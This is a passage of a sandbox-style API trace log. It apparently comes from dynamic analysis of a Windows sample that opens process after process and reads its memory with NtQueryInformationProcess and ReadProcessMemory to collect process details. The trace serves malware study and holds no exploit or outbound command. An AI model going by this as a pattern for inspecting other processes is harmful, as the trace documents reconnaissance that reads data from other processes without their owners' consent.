lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.671] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.671] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.672] malloc (_Size=0x6c) returned 0xea9720 [0312.672] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea9720, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0312.673] free (_Block=0xea9720) [0312.673] CloseHandle (hObject=0xa9c) returned 1 [0312.673] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0312.673] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0312.673] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.674] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.674] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0312.674] CloseHandle (hObject=0x0) returned 0 [0312.675] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0312.675] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0312.675] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.675] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0312.676] GetLastError () returned 0x0 [0312.676] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.677] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.677] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.678] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.678] malloc (_Size=0x8a) returned 0xec7ca0 [0312.678] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7ca0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ca0*, lpNumberOfBytesRead=0x0) returned 1 [0312.678] free (_Block=0xec7ca0) [0312.679] CloseHandle (hObject=0xa9c) returned 1 [0312.679] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0312.679] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0312.679] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.679] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.680] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0312.680] GetLastError () returned 0x0 [0312.680] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.680] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.680] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.680] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.681] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.681] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.681] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.681] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.681] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.682] malloc (_Size=0x8a) returned 0xec7a20 [0312.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0312.682] free (_Block=0xec7a20) [0312.683] CloseHandle (hObject=0xa9c) returned 1 [0312.683] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0312.683] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0312.683] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.683] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.684] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0312.684] GetLastError () returned 0x0 [0312.684] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.684] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.684] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.684] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.684] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.685] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.685] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.685] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.685] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.685] malloc (_Size=0x8a) returned 0xec73e0 [0312.685] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec73e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec73e0*, lpNumberOfBytesRead=0x0) returned 1 [0312.686] free (_Block=0xec73e0) [0312.686] CloseHandle (hObject=0xa9c) returned 1 [0312.686] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0312.687] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0312.687] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.687] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.688] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0312.688] GetLastError () returned 0x0 [0312.688] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.688] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.688] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.688] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.689] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.689] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.689] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.689] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.689] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.690] malloc (_Size=0x60) returned 0xeb6150 [0312.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6150, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0312.691] free (_Block=0xeb6150) [0312.691] CloseHandle (hObject=0xa9c) returned 1 [0312.691] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0312.691] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0312.692] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.692] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.693] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0312.693] GetLastError () returned 0x0 [0312.693] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.693] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.704] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.704] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.705] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.705] malloc (_Size=0x42) returned 0xea7ac0 [0312.705] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea7ac0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7ac0*, lpNumberOfBytesRead=0x0) returned 1 [0312.706] free (_Block=0xea7ac0) [0312.706] CloseHandle (hObject=0xa9c) returned 1 [0312.706] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0312.707] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0312.707] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.707] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.708] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0312.708] GetLastError () returned 0x0 [0312.708] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.709] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.709] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.709] malloc (_Size=0x8a) returned 0xec7200 [0312.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7200, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0312.710] free (_Block=0xec7200) [0312.710] CloseHandle (hObject=0xa9c) returned 1 [0312.710] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0312.711] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0312.711] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.711] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.712] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0312.712] GetLastError () returned 0x0 [0312.712] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.726] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.727] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.727] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.727] malloc (_Size=0x84) returned 0xe87700 [0312.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87700, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87700*, lpNumberOfBytesRead=0x0) returned 1 [0312.728] free (_Block=0xe87700) [0312.728] CloseHandle (hObject=0xa9c) returned 1 [0312.729] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0312.729] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0312.729] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.729] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.730] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0312.730] GetLastError () returned 0x0 [0312.730] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, 